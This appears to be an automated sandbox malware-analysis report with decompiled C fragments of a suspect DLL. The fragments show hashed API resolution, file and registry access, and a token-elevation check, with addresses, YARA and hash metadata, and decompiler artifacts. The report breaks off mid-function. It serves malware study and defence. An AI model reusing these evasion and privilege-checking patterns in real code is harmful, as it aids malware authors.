                                                                                                                                              0x6e765c31
                                                                                                                                              0x6e765c3e
                                                                                                                                              0x6e765c40
                                                                                                                                              0x6e765c40
                                                                                                                                              0x6e765c45
                                                                                                                                              0x6e765c4a
                                                                                                                                              0x6e765c58
                                                                                                                                              0x6e765cc3
                                                                                                                                              0x6e765cc6
                                                                                                                                              0x6e765c5a
                                                                                                                                              0x6e765c5f
                                                                                                                                              0x6e765cac
                                                                                                                                              0x6e765cb0
                                                                                                                                              0x6e765cba
                                                                                                                                              0x6e765cba
                                                                                                                                              0x6e765cb0
                                                                                                                                              0x6e765c61
                                                                                                                                              0x6e765c6d
                                                                                                                                              0x6e765c72
                                                                                                                                              0x6e765c86
                                                                                                                                              0x6e765c88
                                                                                                                                              0x6e765c89
                                                                                                                                              0x6e765c8a
                                                                                                                                              0x6e765c8c
                                                                                                                                              0x6e765c8e
                                                                                                                                              0x6e765c8f
                                                                                                                                              0x6e765c8f
                                                                                                                                              0x6e765c92
                                                                                                                                              0x6e765c92
                                                                                                                                              0x6e765c9a

                                                                                                                                              APIs
                                                                                                                                              • CreateFileW.KERNELBASE(?,00000000,00000000,00000000,00000000,?,00000000,8E844D1E,458D3B35), ref: 6E765C3E
                                                                                                                                              Memory Dump Source
                                                                                                                                              • Source File: 00000000.00000002.1053702891.000000006E751000.00000020.00020000.sdmp, Offset: 6E750000, based on PE: true
                                                                                                                                              • Associated: 00000000.00000002.1053637516.000000006E750000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054610661.000000006E76A000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054660765.000000006E76D000.00000004.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054725426.000000006E76F000.00000002.00020000.sdmp Download File
                                                                                                                                              Yara matches
                                                                                                                                              Similarity
                                                                                                                                              • API ID: CreateFile
                                                                                                                                              • String ID:
                                                                                                                                              • API String ID: 823142352-0
                                                                                                                                              • Opcode ID: ab2bd4055e11c9f9a2bf07316868f5c1c5b37ceb7e280a100dd82f754eff5fb8
                                                                                                                                              • Instruction ID: c0187275f716acd3efc988280d33dc0a8baee0d133874f37c3c21d2d635db398
                                                                                                                                              • Opcode Fuzzy Hash: ab2bd4055e11c9f9a2bf07316868f5c1c5b37ceb7e280a100dd82f754eff5fb8
                                                                                                                                              • Instruction Fuzzy Hash: 1301D63524020B7AFB502AE56F48F7B734EDBC135CF004C35BE01951E6EE125898D221
                                                                                                                                              Uniqueness

                                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                                              C-Code - Quality: 48%
                                                                                                                                              			E6E765BB3(void* __ebx, void* __ecx, WCHAR** __edi, void* _a4, void* _a32, long _a44) {
                                                                                                                                              				void* _t6;
                                                                                                                                              				void* _t11;
                                                                                                                                              				void* _t19;
                                                                                                                                              				void* _t21;
                                                                                                                                              				long _t22;
                                                                                                                                              				WCHAR** _t23;
                                                                                                                                              				intOrPtr* _t30;
                                                                                                                                              				WCHAR** _t31;
                                                                                                                                              				long _t35;
                                                                                                                                              				void* _t37;
                                                                                                                                              				void* _t38;
                                                                                                                                              
                                                                                                                                              				_t31 = __edi;
                                                                                                                                              				_t35 = 3;
                                                                                                                                              				if(__ebx != 2) {
                                                                                                                                              					_t6 = 3;
                                                                                                                                              					_t21 = 0;
                                                                                                                                              					_t22 =  ==  ? _t6 : _t21;
                                                                                                                                              				} else {
                                                                                                                                              					_t22 = 1;
                                                                                                                                              				}
                                                                                                                                              				if(E6E763064(0x8e844d1e, 0x458d3b35) == 0) {
                                                                                                                                              					_push(0);
                                                                                                                                              				} else {
                                                                                                                                              					_t19 = CreateFileW( *_t31, 0x100, _t22, 0, _t35, _a44, 0); // executed
                                                                                                                                              					_push(_t19);
                                                                                                                                              				}
                                                                                                                                              				_t23 =  &(_t31[3]);
                                                                                                                                              				E6E75C26C(_t23);
                                                                                                                                              				if(E6E75C280(_t23) != 0) {
                                                                                                                                              					_t31[2] = E6E7635F0(0x100);
                                                                                                                                              					_t11 = 0;
                                                                                                                                              				} else {
                                                                                                                                              					if( *((intOrPtr*)(_t38 + 0x24)) == 2) {
                                                                                                                                              						_t30 = E6E763064(0x8e844d1e, 0xba53868);
                                                                                                                                              						if(_t30 != 0) {
                                                                                                                                              							 *_t30( *_t23, 0, 0, 2);
                                                                                                                                              						}
                                                                                                                                              					}
                                                                                                                                              					_t37 = _t38 + 8;
                                                                                                                                              					E6E763698(_t37, 0xff, 8);
                                                                                                                                              					_t38 = _t38 + 0xc;
                                                                                                                                              					if(E6E763064(0x8e844d1e, 0xc5e2981f) != 0) {
                                                                                                                                              						_push(_t37);
                                                                                                                                              						_push(_t37);
                                                                                                                                              						_push(0);
                                                                                                                                              						_push( *_t23);
                                                                                                                                              						asm("int3");
                                                                                                                                              						asm("int3");
                                                                                                                                              					}
                                                                                                                                              					_t11 = 1;
                                                                                                                                              				}
                                                                                                                                              				return _t11;
                                                                                                                                              			}














                                                                                                                                              0x6e765bb3
                                                                                                                                              0x6e765bba
                                                                                                                                              0x6e765c09
                                                                                                                                              0x6e765c12
                                                                                                                                              0x6e765c18
                                                                                                                                              0x6e765c19
                                                                                                                                              0x6e765c0b
                                                                                                                                              0x6e765c0d
                                                                                                                                              0x6e765c0d
                                                                                                                                              0x6e765c2f
                                                                                                                                              0x6e765c43
                                                                                                                                              0x6e765c31
                                                                                                                                              0x6e765c3e
                                                                                                                                              0x6e765c40
                                                                                                                                              0x6e765c40
                                                                                                                                              0x6e765c45
                                                                                                                                              0x6e765c4a
                                                                                                                                              0x6e765c58
                                                                                                                                              0x6e765cc3
                                                                                                                                              0x6e765cc6
                                                                                                                                              0x6e765c5a
                                                                                                                                              0x6e765c5f
                                                                                                                                              0x6e765cac
                                                                                                                                              0x6e765cb0
                                                                                                                                              0x6e765cba
                                                                                                                                              0x6e765cba
                                                                                                                                              0x6e765cb0
                                                                                                                                              0x6e765c61
                                                                                                                                              0x6e765c6d
                                                                                                                                              0x6e765c72
                                                                                                                                              0x6e765c86
                                                                                                                                              0x6e765c88
                                                                                                                                              0x6e765c89
                                                                                                                                              0x6e765c8a
                                                                                                                                              0x6e765c8c
                                                                                                                                              0x6e765c8e
                                                                                                                                              0x6e765c8f
                                                                                                                                              0x6e765c8f
                                                                                                                                              0x6e765c92
                                                                                                                                              0x6e765c92
                                                                                                                                              0x6e765c9a

                                                                                                                                              APIs
                                                                                                                                              • CreateFileW.KERNELBASE(?,00000000,00000000,00000000,00000000,?,00000000,8E844D1E,458D3B35), ref: 6E765C3E
                                                                                                                                              Memory Dump Source
                                                                                                                                              • Source File: 00000000.00000002.1053702891.000000006E751000.00000020.00020000.sdmp, Offset: 6E750000, based on PE: true
                                                                                                                                              • Associated: 00000000.00000002.1053637516.000000006E750000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054610661.000000006E76A000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054660765.000000006E76D000.00000004.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054725426.000000006E76F000.00000002.00020000.sdmp Download File
                                                                                                                                              Yara matches
                                                                                                                                              Similarity
                                                                                                                                              • API ID: CreateFile
                                                                                                                                              • String ID:
                                                                                                                                              • API String ID: 823142352-0
                                                                                                                                              • Opcode ID: 48822c07a41f11b243a306607094b00b4c7456231264d7b8e6290cc97b67c54b
                                                                                                                                              • Instruction ID: 4518c6039b6fa43da09f1cba8b403e057e6d4d375c4f7196e8fe2c3ff4feaaae
                                                                                                                                              • Opcode Fuzzy Hash: 48822c07a41f11b243a306607094b00b4c7456231264d7b8e6290cc97b67c54b
                                                                                                                                              • Instruction Fuzzy Hash: E601473128020BBAFB512AE46F48F7B734DCF8235CF004C35BE01651E6EE1268A8D321
                                                                                                                                              Uniqueness

                                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                                              C-Code - Quality: 48%
                                                                                                                                              			E6E765C01(void* __ebx, void* __ecx, WCHAR** __edi, void* _a4, void* _a32, long _a44) {
                                                                                                                                              				void* _t6;
                                                                                                                                              				void* _t11;
                                                                                                                                              				void* _t19;
                                                                                                                                              				void* _t21;
                                                                                                                                              				long _t22;
                                                                                                                                              				WCHAR** _t23;
                                                                                                                                              				intOrPtr* _t30;
                                                                                                                                              				WCHAR** _t31;
                                                                                                                                              				long _t35;
                                                                                                                                              				void* _t37;
                                                                                                                                              				void* _t38;
                                                                                                                                              
                                                                                                                                              				_t31 = __edi;
                                                                                                                                              				_t35 = 3;
                                                                                                                                              				if(__ebx != 2) {
                                                                                                                                              					_t6 = 3;
                                                                                                                                              					_t21 = 0;
                                                                                                                                              					_t22 =  ==  ? _t6 : _t21;
                                                                                                                                              				} else {
                                                                                                                                              					_t22 = 1;
                                                                                                                                              				}
                                                                                                                                              				if(E6E763064(0x8e844d1e, 0x458d3b35) == 0) {
                                                                                                                                              					_push(0);
                                                                                                                                              				} else {
                                                                                                                                              					_t19 = CreateFileW( *_t31, 0, _t22, 0, _t35, _a44, 0); // executed
                                                                                                                                              					_push(_t19);
                                                                                                                                              				}
                                                                                                                                              				_t23 =  &(_t31[3]);
                                                                                                                                              				E6E75C26C(_t23);
                                                                                                                                              				if(E6E75C280(_t23) != 0) {
                                                                                                                                              					_t31[2] = E6E7635F0(0);
                                                                                                                                              					_t11 = 0;
                                                                                                                                              				} else {
                                                                                                                                              					if( *((intOrPtr*)(_t38 + 0x24)) == 2) {
                                                                                                                                              						_t30 = E6E763064(0x8e844d1e, 0xba53868);
                                                                                                                                              						if(_t30 != 0) {
                                                                                                                                              							 *_t30( *_t23, 0, 0, 2);
                                                                                                                                              						}
                                                                                                                                              					}
                                                                                                                                              					_t37 = _t38 + 8;
                                                                                                                                              					E6E763698(_t37, 0xff, 8);
                                                                                                                                              					_t38 = _t38 + 0xc;
                                                                                                                                              					if(E6E763064(0x8e844d1e, 0xc5e2981f) != 0) {
                                                                                                                                              						_push(_t37);
                                                                                                                                              						_push(_t37);
                                                                                                                                              						_push(0);
                                                                                                                                              						_push( *_t23);
                                                                                                                                              						asm("int3");
                                                                                                                                              						asm("int3");
                                                                                                                                              					}
                                                                                                                                              					_t11 = 1;
                                                                                                                                              				}
                                                                                                                                              				return _t11;
                                                                                                                                              			}














                                                                                                                                              0x6e765c01
                                                                                                                                              0x6e765c05
                                                                                                                                              0x6e765c09
                                                                                                                                              0x6e765c12
                                                                                                                                              0x6e765c18
                                                                                                                                              0x6e765c19
                                                                                                                                              0x6e765c0b
                                                                                                                                              0x6e765c0d
                                                                                                                                              0x6e765c0d
                                                                                                                                              0x6e765c2f
                                                                                                                                              0x6e765c43
                                                                                                                                              0x6e765c31
                                                                                                                                              0x6e765c3e
                                                                                                                                              0x6e765c40
                                                                                                                                              0x6e765c40
                                                                                                                                              0x6e765c45
                                                                                                                                              0x6e765c4a
                                                                                                                                              0x6e765c58
                                                                                                                                              0x6e765cc3
                                                                                                                                              0x6e765cc6
                                                                                                                                              0x6e765c5a
                                                                                                                                              0x6e765c5f
                                                                                                                                              0x6e765cac
                                                                                                                                              0x6e765cb0
                                                                                                                                              0x6e765cba
                                                                                                                                              0x6e765cba
                                                                                                                                              0x6e765cb0
                                                                                                                                              0x6e765c61
                                                                                                                                              0x6e765c6d
                                                                                                                                              0x6e765c72
                                                                                                                                              0x6e765c86
                                                                                                                                              0x6e765c88
                                                                                                                                              0x6e765c89
                                                                                                                                              0x6e765c8a
                                                                                                                                              0x6e765c8c
                                                                                                                                              0x6e765c8e
                                                                                                                                              0x6e765c8f
                                                                                                                                              0x6e765c8f
                                                                                                                                              0x6e765c92
                                                                                                                                              0x6e765c92
                                                                                                                                              0x6e765c9a

                                                                                                                                              APIs
                                                                                                                                              • CreateFileW.KERNELBASE(?,00000000,00000000,00000000,00000000,?,00000000,8E844D1E,458D3B35), ref: 6E765C3E
                                                                                                                                              Memory Dump Source
                                                                                                                                              • Source File: 00000000.00000002.1053702891.000000006E751000.00000020.00020000.sdmp, Offset: 6E750000, based on PE: true
                                                                                                                                              • Associated: 00000000.00000002.1053637516.000000006E750000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054610661.000000006E76A000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054660765.000000006E76D000.00000004.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054725426.000000006E76F000.00000002.00020000.sdmp Download File
                                                                                                                                              Yara matches
                                                                                                                                              Similarity
                                                                                                                                              • API ID: CreateFile
                                                                                                                                              • String ID:
                                                                                                                                              • API String ID: 823142352-0
                                                                                                                                              • Opcode ID: 9388d6fc0ab44810084af1a5b0fc5f81b3c38bd3c3c93c53e58e45b453cb198f
                                                                                                                                              • Instruction ID: 0f3f8f105ecbfe286f207c2bf7d989076ffe66d08f7ce363e5feca78933d89b7
                                                                                                                                              • Opcode Fuzzy Hash: 9388d6fc0ab44810084af1a5b0fc5f81b3c38bd3c3c93c53e58e45b453cb198f
                                                                                                                                              • Instruction Fuzzy Hash: C301F73528020B7AFA512AE16F48F7B774DDF8175CF004C35BE05651A6EE126968D621
                                                                                                                                              Uniqueness

                                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                                              C-Code - Quality: 63%
                                                                                                                                              			E6E765E10(void* __ecx, intOrPtr _a4) {
                                                                                                                                              				long _v16;
                                                                                                                                              				long _t4;
                                                                                                                                              				void* _t8;
                                                                                                                                              				void** _t9;
                                                                                                                                              				intOrPtr _t17;
                                                                                                                                              				long* _t18;
                                                                                                                                              
                                                                                                                                              				_push(_t16);
                                                                                                                                              				_t8 = __ecx;
                                                                                                                                              				_t17 = _a4;
                                                                                                                                              				if(_t17 != 0) {
                                                                                                                                              					asm("pxor xmm0, xmm0");
                                                                                                                                              					asm("movq [esi], xmm0");
                                                                                                                                              				}
                                                                                                                                              				_t9 = _t8 + 0xc;
                                                                                                                                              				if(E6E75C280(_t9) != 0) {
                                                                                                                                              					L7:
                                                                                                                                              					_t4 = 0;
                                                                                                                                              					goto L10;
                                                                                                                                              				} else {
                                                                                                                                              					asm("stosd");
                                                                                                                                              					asm("stosd");
                                                                                                                                              					if(E6E763064(0x8e844d1e, 0xba53868) == 0) {
                                                                                                                                              						_t4 = 0;
                                                                                                                                              					} else {
                                                                                                                                              						_t4 = SetFilePointer( *_t9, 0,  &_v16, 1); // executed
                                                                                                                                              					}
                                                                                                                                              					if(_t4 != 0xffffffff) {
                                                                                                                                              						if(_t17 != 0) {
                                                                                                                                              							 *_t18 = _t4;
                                                                                                                                              							asm("movq xmm0, [esp]");
                                                                                                                                              							asm("movq [esi], xmm0");
                                                                                                                                              						}
                                                                                                                                              						L10:
                                                                                                                                              						return _t4;
                                                                                                                                              					} else {
                                                                                                                                              						goto L7;
                                                                                                                                              					}
                                                                                                                                              				}
                                                                                                                                              			}









                                                                                                                                              0x6e765e14
                                                                                                                                              0x6e765e15
                                                                                                                                              0x6e765e17
                                                                                                                                              0x6e765e1d
                                                                                                                                              0x6e765e1f
                                                                                                                                              0x6e765e23
                                                                                                                                              0x6e765e23
                                                                                                                                              0x6e765e27
                                                                                                                                              0x6e765e33
                                                                                                                                              0x6e765e67
                                                                                                                                              0x6e765e67
                                                                                                                                              0x00000000
                                                                                                                                              0x6e765e35
                                                                                                                                              0x6e765e3a
                                                                                                                                              0x6e765e3b
                                                                                                                                              0x6e765e4f
                                                                                                                                              0x6e765e60
                                                                                                                                              0x6e765e51
                                                                                                                                              0x6e765e5c
                                                                                                                                              0x6e765e5c
                                                                                                                                              0x6e765e65
                                                                                                                                              0x6e765e6d
                                                                                                                                              0x6e765e6f
                                                                                                                                              0x6e765e72
                                                                                                                                              0x6e765e77
                                                                                                                                              0x6e765e77
                                                                                                                                              0x6e765e7b
                                                                                                                                              0x6e765e80
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6e765e65

                                                                                                                                              APIs
                                                                                                                                              • SetFilePointer.KERNELBASE(?,00000000,?,00000001,0BA53868,?,?,00000000,00000000,?,6E765D48,?,?), ref: 6E765E5C
                                                                                                                                              Memory Dump Source
                                                                                                                                              • Source File: 00000000.00000002.1053702891.000000006E751000.00000020.00020000.sdmp, Offset: 6E750000, based on PE: true
                                                                                                                                              • Associated: 00000000.00000002.1053637516.000000006E750000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054610661.000000006E76A000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054660765.000000006E76D000.00000004.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054725426.000000006E76F000.00000002.00020000.sdmp Download File
                                                                                                                                              Yara matches
                                                                                                                                              Similarity
                                                                                                                                              • API ID: FilePointer
                                                                                                                                              • String ID:
                                                                                                                                              • API String ID: 973152223-0
                                                                                                                                              • Opcode ID: c5b249cb0bd675f8c00ae2d5a69ae15c2bd38bea87aee8cce9b412d31bd4c1eb
                                                                                                                                              • Instruction ID: 00799a2783ca941d7d406308172d58e94597ad97e6d75c4f3fe17f06913ae712
                                                                                                                                              • Opcode Fuzzy Hash: c5b249cb0bd675f8c00ae2d5a69ae15c2bd38bea87aee8cce9b412d31bd4c1eb
                                                                                                                                              • Instruction Fuzzy Hash: ABF04931A08B1279DF5159B8AD40B8773E8DFD1758F104F39FD40BA165EA608440D661
                                                                                                                                              Uniqueness

                                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                                              C-Code - Quality: 100%
                                                                                                                                              			E6E76564C(void* __ecx) {
                                                                                                                                              				long _t9;
                                                                                                                                              				char* _t11;
                                                                                                                                              				void* _t16;
                                                                                                                                              				int _t17;
                                                                                                                                              				int _t18;
                                                                                                                                              				int* _t19;
                                                                                                                                              
                                                                                                                                              				_t18 = 0;
                                                                                                                                              				_t17 = _t19[0x48];
                                                                                                                                              				_t16 = __ecx;
                                                                                                                                              				_t11 =  &(_t19[1]);
                                                                                                                                              				 *_t17 = 0;
                                                                                                                                              				 *((intOrPtr*)(_t17 + 4)) = 0;
                                                                                                                                              				 *((intOrPtr*)(_t17 + 8)) = 0;
                                                                                                                                              				while(1) {
                                                                                                                                              					 *_t19 = 0x105;
                                                                                                                                              					if(E6E763064(0x150c05fc, 0xed2313f7) == 0) {
                                                                                                                                              						goto L4;
                                                                                                                                              					}
                                                                                                                                              					_t9 = RegEnumValueA( *(_t16 + 4), _t18, _t11, _t19, 0, 0, 0, 0); // executed
                                                                                                                                              					if(_t9 == 0) {
                                                                                                                                              						goto L4;
                                                                                                                                              					}
                                                                                                                                              					return _t17;
                                                                                                                                              					L4:
                                                                                                                                              					E6E75E644(_t17, _t11,  *_t17);
                                                                                                                                              					_t18 = _t18 + 1;
                                                                                                                                              				}
                                                                                                                                              			}









                                                                                                                                              0x6e765656
                                                                                                                                              0x6e765658
                                                                                                                                              0x6e76565f
                                                                                                                                              0x6e765661
                                                                                                                                              0x6e765665
                                                                                                                                              0x6e765667
                                                                                                                                              0x6e76566a
                                                                                                                                              0x6e76566d
                                                                                                                                              0x6e76566d
                                                                                                                                              0x6e765687
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6e765698
                                                                                                                                              0x6e76569c
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6e7656aa
                                                                                                                                              0x6e7656ad
                                                                                                                                              0x6e7656b2
                                                                                                                                              0x6e7656b7
                                                                                                                                              0x6e7656b7

                                                                                                                                              APIs
                                                                                                                                              • RegEnumValueA.KERNELBASE(?,00000001,?,00000000,00000000,00000000,00000000,00000000,150C05FC,ED2313F7,?,?,150C05FC,ED2313F7), ref: 6E765698
                                                                                                                                              Memory Dump Source
                                                                                                                                              • Source File: 00000000.00000002.1053702891.000000006E751000.00000020.00020000.sdmp, Offset: 6E750000, based on PE: true
                                                                                                                                              • Associated: 00000000.00000002.1053637516.000000006E750000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054610661.000000006E76A000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054660765.000000006E76D000.00000004.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054725426.000000006E76F000.00000002.00020000.sdmp Download File
                                                                                                                                              Yara matches
                                                                                                                                              Similarity
                                                                                                                                              • API ID: EnumValue
                                                                                                                                              • String ID:
                                                                                                                                              • API String ID: 2814608202-0
                                                                                                                                              • Opcode ID: eaa139f66eab8ff4bbabcae264f96130f64c4111b48ae2ac250c1eeef9ea8eef
                                                                                                                                              • Instruction ID: 162d563229aa5e868ac062ad24319a2e04801b523174f837b7dcc6fdbf1bc4d8
                                                                                                                                              • Opcode Fuzzy Hash: eaa139f66eab8ff4bbabcae264f96130f64c4111b48ae2ac250c1eeef9ea8eef
                                                                                                                                              • Instruction Fuzzy Hash: 96F028B120030ABFE7208E5ADD54CB7BBFCDBC1B54F00892DA8D002610EA30AC10C970
                                                                                                                                              Uniqueness

                                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                                              C-Code - Quality: 45%
                                                                                                                                              			E6E761030(void* __ecx) {
                                                                                                                                              				void* _v36;
                                                                                                                                              				void* _v44;
                                                                                                                                              				int _t15;
                                                                                                                                              				intOrPtr* _t21;
                                                                                                                                              				void* _t24;
                                                                                                                                              				intOrPtr* _t25;
                                                                                                                                              
                                                                                                                                              				_t24 = __ecx;
                                                                                                                                              				 *_t25 = 0;
                                                                                                                                              				_t21 = E6E76306C(0x150c05fc, 0x1da4d409, 0x150c05fc, 0x150c05fc);
                                                                                                                                              				if(_t21 == 0) {
                                                                                                                                              					L5:
                                                                                                                                              					return 0;
                                                                                                                                              				}
                                                                                                                                              				_push(_t25);
                                                                                                                                              				_push(8);
                                                                                                                                              				_push(_t24);
                                                                                                                                              				if( *_t21() == 0 || E6E76306C(0x150c05fc, 0xf2377aa1, 0x150c05fc, 0x150c05fc) == 0) {
                                                                                                                                              					goto L5;
                                                                                                                                              				} else {
                                                                                                                                              					_t2 = _t25 + 8 - 4; // 0x150c05f8
                                                                                                                                              					_t15 = GetTokenInformation( *(_t25 + 0x10), 0x14, _t2, 4, _t25 + 8); // executed
                                                                                                                                              					if(_t15 == 0) {
                                                                                                                                              						goto L5;
                                                                                                                                              					}
                                                                                                                                              					return 0 |  *((intOrPtr*)(_t25 + 4)) != 0x00000000;
                                                                                                                                              				}
                                                                                                                                              			}









                                                                                                                                              0x6e76103e
                                                                                                                                              0x6e761040
                                                                                                                                              0x6e76104e
                                                                                                                                              0x6e761052
                                                                                                                                              0x6e76109b
                                                                                                                                              0x00000000
                                                                                                                                              0x6e76109b
                                                                                                                                              0x6e761057
                                                                                                                                              0x6e761058
                                                                                                                                              0x6e76105a
                                                                                                                                              0x6e76105f
                                                                                                                                              0x00000000
                                                                                                                                              0x6e761078
                                                                                                                                              0x6e76107c
                                                                                                                                              0x6e761089
                                                                                                                                              0x6e76108d
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6e761096

                                                                                                                                              APIs
                                                                                                                                              • GetTokenInformation.KERNELBASE(00000004,00000014,150C05F8,00000004,150C05FC,150C05FC,150C05FC), ref: 6E761089
                                                                                                                                              Memory Dump Source
                                                                                                                                              • Source File: 00000000.00000002.1053702891.000000006E751000.00000020.00020000.sdmp, Offset: 6E750000, based on PE: true
                                                                                                                                              • Associated: 00000000.00000002.1053637516.000000006E750000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054610661.000000006E76A000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054660765.000000006E76D000.00000004.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054725426.000000006E76F000.00000002.00020000.sdmp Download File
                                                                                                                                              Yara matches
                                                                                                                                              Similarity
                                                                                                                                              • API ID: InformationToken
                                                                                                                                              • String ID:
                                                                                                                                              • API String ID: 4114910276-0
                                                                                                                                              • Opcode ID: 6e47646477a1af0dc4b2de091a4f50078e9155f62806ec5d6aed96985eb654ee
                                                                                                                                              • Instruction ID: af332d638b25c35500a16534710a0896e4a32153270795c3977777c3bef34ef4
                                                                                                                                              • Opcode Fuzzy Hash: 6e47646477a1af0dc4b2de091a4f50078e9155f62806ec5d6aed96985eb654ee
                                                                                                                                              • Instruction Fuzzy Hash: EEF04470744643ABEE4095B8AE6CF7F33AD5BC1618F50CC38B944CA1A4DB74CD498625
                                                                                                                                              Uniqueness

                                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                                              C-Code - Quality: 29%
                                                                                                                                              			E6E763628(void* __ecx) {
                                                                                                                                              				void* _t3;
                                                                                                                                              				intOrPtr* _t7;
                                                                                                                                              				void* _t9;
                                                                                                                                              
                                                                                                                                              				_t9 = __ecx;
                                                                                                                                              				if( *0x6e76d228 == 0xa33c83e5) {
                                                                                                                                              					_t7 = E6E763064(0x60a28c5c, 0x1c6ef387);
                                                                                                                                              					 *0x6e76d22c = E6E763064(0x60a28c5c, 0x5e0afaa3);
                                                                                                                                              					if( *0x6e76d228 == 0xa33c83e5) {
                                                                                                                                              						 *_t7(2, 0, 0, 0, 0, 0); // executed
                                                                                                                                              						 *0x6e76d228 = 0;
                                                                                                                                              					}
                                                                                                                                              				}
                                                                                                                                              				_t3 = E6E763064(0x60a28c5c, 0x45b68b68);
                                                                                                                                              				if(_t3 == 0) {
                                                                                                                                              					return 0;
                                                                                                                                              				} else {
                                                                                                                                              					_push(_t9);
                                                                                                                                              					_push(8);
                                                                                                                                              					_push( *0x6e76d228);
                                                                                                                                              					asm("int3");
                                                                                                                                              					asm("int3");
                                                                                                                                              					return _t3;
                                                                                                                                              				}
                                                                                                                                              			}






                                                                                                                                              0x6e763630
                                                                                                                                              0x6e763638
                                                                                                                                              0x6e76366b
                                                                                                                                              0x6e76367c
                                                                                                                                              0x6e763687
                                                                                                                                              0x6e763692
                                                                                                                                              0x6e763694
                                                                                                                                              0x6e763694
                                                                                                                                              0x6e763687
                                                                                                                                              0x6e763644
                                                                                                                                              0x6e76364b
                                                                                                                                              0x00000000
                                                                                                                                              0x6e76364d
                                                                                                                                              0x6e76364d
                                                                                                                                              0x6e76364e
                                                                                                                                              0x6e763650
                                                                                                                                              0x6e763652
                                                                                                                                              0x6e763653
                                                                                                                                              0x00000000
                                                                                                                                              0x6e763653

                                                                                                                                              APIs
                                                                                                                                              • RtlCreateHeap.NTDLL(00000002,00000000,00000000,00000000,00000000,00000000,60A28C5C,5E0AFAA3,60A28C5C,1C6EF387,?,?,00000000,6E75DE09,?,?), ref: 6E763692
                                                                                                                                              Memory Dump Source
                                                                                                                                              • Source File: 00000000.00000002.1053702891.000000006E751000.00000020.00020000.sdmp, Offset: 6E750000, based on PE: true
                                                                                                                                              • Associated: 00000000.00000002.1053637516.000000006E750000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054610661.000000006E76A000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054660765.000000006E76D000.00000004.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054725426.000000006E76F000.00000002.00020000.sdmp Download File
                                                                                                                                              Yara matches
                                                                                                                                              Similarity
                                                                                                                                              • API ID: CreateHeap
                                                                                                                                              • String ID:
                                                                                                                                              • API String ID: 10892065-0
                                                                                                                                              • Opcode ID: 058876fa9025f86a5e71ae6ef11afd890d3ae270e8340c76ecac0a771d488c27
                                                                                                                                              • Instruction ID: ecdcc7ddf3311ab4cc8927b2740bc8d6b680b6a4e833e6a290105b6a2489d7a3
                                                                                                                                              • Opcode Fuzzy Hash: 058876fa9025f86a5e71ae6ef11afd890d3ae270e8340c76ecac0a771d488c27
                                                                                                                                              • Instruction Fuzzy Hash: 27F05930226280BDEE601DE6FD0CC529398EFD165DF100C39FE80B1124D6B48440CA35
                                                                                                                                              Uniqueness

                                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                                              Non-executed Functions

                                                                                                                                              C-Code - Quality: 31%
                                                                                                                                              			E6E751494(intOrPtr __ecx, void* __edx, void* __eflags) {
                                                                                                                                              				intOrPtr _v40;
                                                                                                                                              				intOrPtr _v60;
                                                                                                                                              				void* _v68;
                                                                                                                                              				char _v72;
                                                                                                                                              				char _v76;
                                                                                                                                              				char _v80;
                                                                                                                                              				char _v84;
                                                                                                                                              				char _v88;
                                                                                                                                              				char _v92;
                                                                                                                                              				char _v96;
                                                                                                                                              				char _v100;
                                                                                                                                              				char _v104;
                                                                                                                                              				char _v108;
                                                                                                                                              				char _v112;
                                                                                                                                              				char _v116;
                                                                                                                                              				char _v120;
                                                                                                                                              				char _v124;
                                                                                                                                              				char _v128;
                                                                                                                                              				char _v132;
                                                                                                                                              				char _v136;
                                                                                                                                              				char _v140;
                                                                                                                                              				char _v144;
                                                                                                                                              				char _v148;
                                                                                                                                              				char _v152;
                                                                                                                                              				char _v156;
                                                                                                                                              				char _v160;
                                                                                                                                              				char _v164;
                                                                                                                                              				char _v168;
                                                                                                                                              				char _v172;
                                                                                                                                              				char _v176;
                                                                                                                                              				char _v180;
                                                                                                                                              				char _v184;
                                                                                                                                              				char _v188;
                                                                                                                                              				char _v192;
                                                                                                                                              				char _v196;
                                                                                                                                              				char _v200;
                                                                                                                                              				char _v204;
                                                                                                                                              				char _v208;
                                                                                                                                              				char _v212;
                                                                                                                                              				char _v216;
                                                                                                                                              				char _v220;
                                                                                                                                              				char _v224;
                                                                                                                                              				char _v228;
                                                                                                                                              				char _v232;
                                                                                                                                              				char _v236;
                                                                                                                                              				char _v240;
                                                                                                                                              				char _v244;
